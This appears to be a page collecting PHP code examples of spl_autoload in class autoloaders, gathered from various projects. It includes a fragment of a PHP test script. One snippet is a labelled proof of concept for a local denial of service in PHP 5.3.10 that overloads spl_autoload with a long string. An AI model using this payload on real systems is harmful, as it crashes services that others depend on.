public function helper($class)
 {
     $class = preg_replace('/_helper$/ui', '', $class);
     set_include_path(get_include_path() . PATH_SEPARATOR . '/helper/');
     spl_autoload_extensions('.helper.php');
     spl_autoload($class);
 }
Exemple #2
0
/**
 * 自动加载
 *
 * @param $className
 */
function zroneClassLoader($className)
{
    $path = array(str_replace("\\", "/", dirname(__FILE__) . DIRECTORY_SEPARATOR . "Vendor/"), str_replace("\\", "/", dirname(__FILE__) . DIRECTORY_SEPARATOR . "FrameWork/"), str_replace("\\", "/", dirname(__FILE__) . DIRECTORY_SEPARATOR . "Application/"));
    if (isset($path) && is_array($path)) {
        $Iterator = new ArrayIterator($path);
        $Iterator->rewind();
        $pathString = "";
        while ($Iterator->valid()) {
            $pathString .= $Iterator->current() . ";";
            if ($Iterator->key() == count($path) - 1) {
                $pathString = rtrim($pathString, ";");
            }
            $Iterator->next();
        }
        set_include_path($pathString);
        spl_autoload_extensions(".php, .class.php");
        spl_autoload($className);
    } else {
        try {
            throw new Exception("<code style='color: red; font-size: 22px; display: block; text-align: center; height: 40px; line-height: 40px;'>I'm sorry, my dear! The FrameWork is Wrong……😫</code>");
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }
}
Exemple #3
0
 public function helper($class)
 {
     $class = $this->trim_namespace($class);
     set_include_path($this->registry->appDir . '/helpers/');
     spl_autoload_extensions('.help.php');
     spl_autoload($class);
 }
Exemple #4
0
 public static function load($class_name)
 {
     $segments = explode('\\', $class_name);
     $class = array_pop($segments);
     $file_name = implode('\\', $segments);
     //  print($file_name);
     spl_autoload($file_name, '.php');
 }
Exemple #5
0
/**
 * Load the class specified 
 * @param	string		Class to load
 */
function autoload($className)
{
    /* We're using the built-in autoloader as it's faster than a PHP implementation.
     * Replace underscores with slashes to use a directory structure (FeedSources_Twitter -> includes/FeedSources/Twitter.php)
     */
    $filename = strtolower(str_replace('_', '/', $className));
    return spl_autoload($filename);
}
Exemple #6
0
function plugin_autoloader($class)
{
    $file = dirname(__FILE__) . '/../../src/class-' . str_replace('_', '-', strtolower($class)) . '.php';
    if (file_exists($file)) {
        include $file;
    } else {
        spl_autoload($class);
    }
}
 function buffered_autoloader($c)
 {
     try {
         spl_autoload($c);
     } catch (Exception $e) {
         $message = $e->getMessage();
         return $message;
     }
 }
Exemple #8
0
 public static function register($path)
 {
     if (function_exists('__autoload')) {
         spl_autoload_register('__autoload');
     }
     spl_autoload_register(function ($class) use(&$path) {
         set_include_path($path);
         spl_autoload($class);
     });
 }
 private function base_class($className)
 {
     $path = array();
     $pathDir = array();
     $path = explode('_', $className);
     $arrCount = count($path) - 1;
     $pathDir = implode("/", array_slice($path, 0, $arrCount));
     set_include_path(ROOT_PATH . "includes/" . $pathDir);
     spl_autoload_extensions('.class.php');
     spl_autoload($path[$arrCount]);
 }
Exemple #10
0
 /**
  * Register autoloading for classes
  */
 public function registerAutoload()
 {
     // firstly include vendor autoload
     include BASEDIR . 'vendor' . DS . 'autoload.php';
     // Classes from APPDIR/classes/ directory
     set_include_path(get_include_path() . PATH_SEPARATOR . APPDIR . 'classes' . DS);
     // all classes from the APPDIR.'classes' directory must have extension '.class.php'
     spl_autoload_extensions('.class.php');
     // all class files must lowercase name to avoid problems with case sensitivity
     spl_autoload_register(function ($class_name) {
         spl_autoload(strtolower($class_name));
     });
 }
Exemple #11
0
	private static function load($className) {
		foreach(self::$_sources as $path) {
			$directories = self::diretoryToArray("./", true);
			foreach($directories as $directory) {
				if(file_exists($path.'/'.$directory.'/'.$className.'.php')) {
					set_include_path($path.'/'.$directory);
					spl_autoload($className);
				}
			}
		}
		
		throw new FileNotFoundException();
	}
Exemple #12
0
<?php

define('ROOT', $_SERVER['DOCUMENT_ROOT']);
define('LIB', ROOT . '/engine/lib');
define('MODEL_ROOT', ROOT . '/engine/models/');
spl_autoload_extensions('.php');
set_include_path(MODEL_ROOT);
spl_autoload_register(function ($class) {
    spl_autoload($class);
});
Exemple #13
0
<?php

spl_autoload("Spec");
spl_autoload("Helper");
class AClass extends Automobile
{
    const className = "A-Class";
    const classPrice = 16000;
    const airCondType = "cond";
    const airbagSlug = "airbag";
    const airBagNumber = 6;
    public function __construct()
    {
        parent::__construct(self::className, self::classPrice);
        $this->equipCar();
    }
    public function equipCar()
    {
        $specs = SpecStorage::getCommonSpecifications();
        array_push($specs, SpecStorage::getSpecification(self::airCondType));
        array_push($specs, SpecStorage::getSpecification(self::airbagSlug, self::airBagNumber));
        $this->assignDefaultSpecs($specs);
    }
}
 /**
  * Autoload function for TYPO3.
  *
  * This method looks up class names in the registry
  * (which contains extensions and core files)
  *
  * @param string $className Class name
  * @return void
  */
 public static function autoload($className)
 {
     $className = ltrim($className, '\\');
     $realClassName = static::getClassNameForAlias($className);
     $aliasClassName = static::getAliasForClassName($className);
     $hasAliasClassName = $aliasClassName !== $className;
     $lookUpClassName = ($hasRealClassName = $className !== $realClassName) ? $realClassName : $className;
     // Use core and extension registry
     $classPath = static::getClassPathByRegistryLookup($lookUpClassName);
     if ($classPath && !class_exists($realClassName, FALSE)) {
         // Include the required file that holds the class
         // Handing over the class name here is only done for the
         // compatibility class loader so that it can skip class names
         // which do not require rewriting. We can remove this bad
         // code smell once we can get rid of the compatibility class loader.
         static::requireClassFileOnce($classPath, $className);
         try {
             // Regular expression for a valid classname taken from
             // http://www.php.net/manual/en/language.oop5.basic.php
             if (preg_match('/^[a-zA-Z_\\x7f-\\xff][a-zA-Z0-9_\\x7f-\\xff]*$/', $className)) {
                 spl_autoload($className);
             }
         } catch (\LogicException $exception) {
         }
     }
     if ($hasRealClassName && !class_exists($className, FALSE)) {
         class_alias($realClassName, $className);
     }
     if ($hasAliasClassName && !class_exists($aliasClassName, FALSE)) {
         class_alias($className, $aliasClassName);
     }
 }
 public function views($class)
 {
     set_include_path(get_include_path() . PATH_SEPARATOR . 'views/');
     spl_autoload_extensions('.php');
     spl_autoload($class);
 }
    spl_autoload("TestClass");
} catch (Exception $e) {
    echo 'Exception: ' . $e->getMessage() . "\n";
}
$test_exts = array(NULL, "1", ".inc,,.php.inc", "");
foreach ($test_exts as $exts) {
    echo "===({$exts})===\n";
    try {
        spl_autoload("TestClass", $exts);
    } catch (Exception $e) {
        echo 'Exception: ' . $e->getMessage() . "\n";
    }
}
try {
    spl_autoload_extensions(".inc,.php.inc");
    spl_autoload("TestClass");
} catch (Exception $e) {
    echo 'Exception: ' . $e->getMessage() . "\n";
}
function TestFunc1($classname)
{
    echo __METHOD__ . "({$classname})\n";
}
function TestFunc2($classname)
{
    echo __METHOD__ . "({$classname})\n";
}
echo "===SPL_AUTOLOAD()===\n";
spl_autoload_register();
try {
    var_dump(spl_autoload_extensions(".inc"));
Exemple #17
0
 public function lib($class)
 {
     set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__));
     spl_autoload_extensions('.class.php');
     spl_autoload($class);
 }
Exemple #18
0
<?php

if (session_id() === "") {
    session_start();
}
require_once 'config/database.php';
require_once 'config/app.php';
require_once 'lib/helpers.php';
spl_autoload_extensions('.php');
spl_autoload_register(function ($class) {
    return spl_autoload($class);
});
<?php

set_include_path(__DIR__);
spl_autoload_extensions('.inc');
spl_autoload('Namespaced\\Foo');
spl_autoload('Namespaced\\HerpDerp');
spl_autoload('Namespaced\\Nested\\Ponies');
var_dump(new Namespaced\Foo());
var_dump(new Namespaced\HerpDerp());
var_dump(new Namespaced\Nested\Ponies());
Exemple #20
0
<?php

define('TELLETS_VERSION', '1.2');
define('APP_DIR', __DIR__);
define('TELLETS_DIR', realpath(__DIR__ . '/../'));
define('DATA_DIR', TELLETS_DIR . '/data');
define('CACHE_DIR', DATA_DIR . DIRECTORY_SEPARATOR . 'cache');
define('POSTS_DIR', DATA_DIR . DIRECTORY_SEPARATOR . 'posts');
define('LIB_DIR', APP_DIR . DIRECTORY_SEPARATOR . 'lib');
define('CLASSES_DIR', APP_DIR . DIRECTORY_SEPARATOR . 'classes');
// 配置自动加载
set_include_path(get_include_path() . PATH_SEPARATOR . LIB_DIR);
set_include_path(get_include_path() . PATH_SEPARATOR . CLASSES_DIR);
spl_autoload_extensions('.php');
spl_autoload_register(function ($name) {
    spl_autoload($name);
    if (class_exists($name)) {
        return;
    }
    $paths = explode(PATH_SEPARATOR, get_include_path());
    $name = str_replace('\\', DIRECTORY_SEPARATOR, $name);
    foreach ($paths as $path) {
        $fn = $path . DIRECTORY_SEPARATOR . $name . '.php';
        if (file_exists($fn)) {
            //echo "Found $name at $fn\n";
            include_once $fn;
            return;
        }
    }
    throw new Exception("Load {$name} failed.");
});
Exemple #21
0
<?php

/*
-----------------------------------------------------
COPIED ENTIRELY FROM THE SOLUTION TO THE LAB
-----------------------------------------------------
*/
session_start();
spl_autoload(function ($class) {
    $classPath = str_replace("\\", "/", $class);
    require_once $classPath . ".php";
});
require_once 'core/app.php';
Database::setInstance(DatabaseConfig::DB_INSTANCE, DatabaseConfig::DB_DRIVER, DatabaseConfig::DB_USER, DatabaseConfig::DB_PASS, DatabaseConfig::DB_NAME, DatabaseConfig::DB_HOST);
$app = new App(Database::getInstance(DatabaseConfig::DB_INSTANCE));
function loadTemplate($templateName, $data = null)
{
    require_once 'templates/' . $templateName . '.php';
}
<?php

#####################################################################
## PHP 5.3.10 spl_autoload() Local Denial of Service
## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
## Date: 02/06/2012
## Local Denial of Service
## Bug discovered by Pr0T3cT10n, <*****@*****.**>
## ISRAEL
## http://www.0x31337.net
#####################################################################
$buff = str_repeat("A", 9999);
spl_autoload($buff);
 static function spl_autoload($class)
 {
     user_error("spl_autoload() evades Patchwork's code preprocessing", E_USER_WARNING);
     spl_autoload($class);
 }
Exemple #24
0
function autoload($className)
{
    set_include_path('./Classes/');
    spl_autoload($className);
    //replaces include/require
}
Exemple #25
0
<?php

set_include_path(ROOT . '/application');
spl_autoload_extensions('.php');
spl_autoload_register(function ($classname) {
    spl_autoload(strtolower(str_replace("\\", "/", $classname)));
});
 public static function autoload($name)
 {
     spl_autoload($name, self::$extension);
 }
 /**
  * Set include paths for autoload
  * register autoload function
  * Create only one instance for the object
  * 
  * @access private
  * @param string - string of class sent from spl_autoload_register
  * @return void
  */
 private function autoload($classname)
 {
     spl_autoload($classname);
 }
 /**
  * Autoload function for TYPO3.
  *
  * This method looks up class names in the registry
  * (which contains extensions and core files)
  *
  * @param	string	$className	Class name
  * @return	void
  */
 public static function autoload($className)
 {
     $classPath = false;
     // use core and extension registry
     $classPath = self::getClassPathByRegistryLookup($className);
     if ($classPath && file_exists($classPath)) {
         t3lib_div::requireFile($classPath);
     } else {
         try {
             // Regular expression for a valid classname taken from
             // http://www.php.net/manual/en/language.oop5.basic.php
             if (preg_match('/^[a-zA-Z_\\x7f-\\xff][a-zA-Z0-9_\\x7f-\\xff]*$/', $className)) {
                 spl_autoload($className);
             }
         } catch (LogicException $exception) {
         }
     }
 }
Exemple #29
0
<?php

session_start();
//Frontcontroller
spl_autoload_register(function ($classe) {
    return spl_autoload("./app/controlador/" . $classe);
});
spl_autoload_register(function ($classe) {
    return spl_autoload("./app/dominio/" . $classe);
});
spl_autoload_register(function ($classe) {
    return spl_autoload("./app/visao/" . $classe);
});
spl_autoload_register(function ($classe) {
    return spl_autoload("./nucleo/" . $classe);
});
require_once './terceiros/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();
$loader = new Twig_Loader_Filesystem('./app/visao/');
RespostaTwig::$motorTwig = new Twig_Environment($loader);
$configuracao = new Configuracao();
$rotas = new Rota();
$rotas->adicionarRota(Rota::GET, "/teste", "Padrao", "index");
$rotas->adicionarRota(Rota::POST, "/teste/cadastrar", "Padrao", "cadastrar");
$rotas->adicionarRota(Rota::GET, "/restrito/clientes", "Cliente", "listarClientes");
$requisicao = new Requisicao($_REQUEST);
$actual_link = $_SERVER["REQUEST_URI"];
$temp = explode("index.php", $actual_link);
$temp = explode("?", $temp[1]);
$rota = $temp[0];
$metodo = $_SERVER["REQUEST_METHOD"];
Exemple #30
0
 private function __fallbackAutoloader($class)
 {
     if (!$this->__fallbackAutoloader) {
         return;
     }
     spl_autoload($class);
 }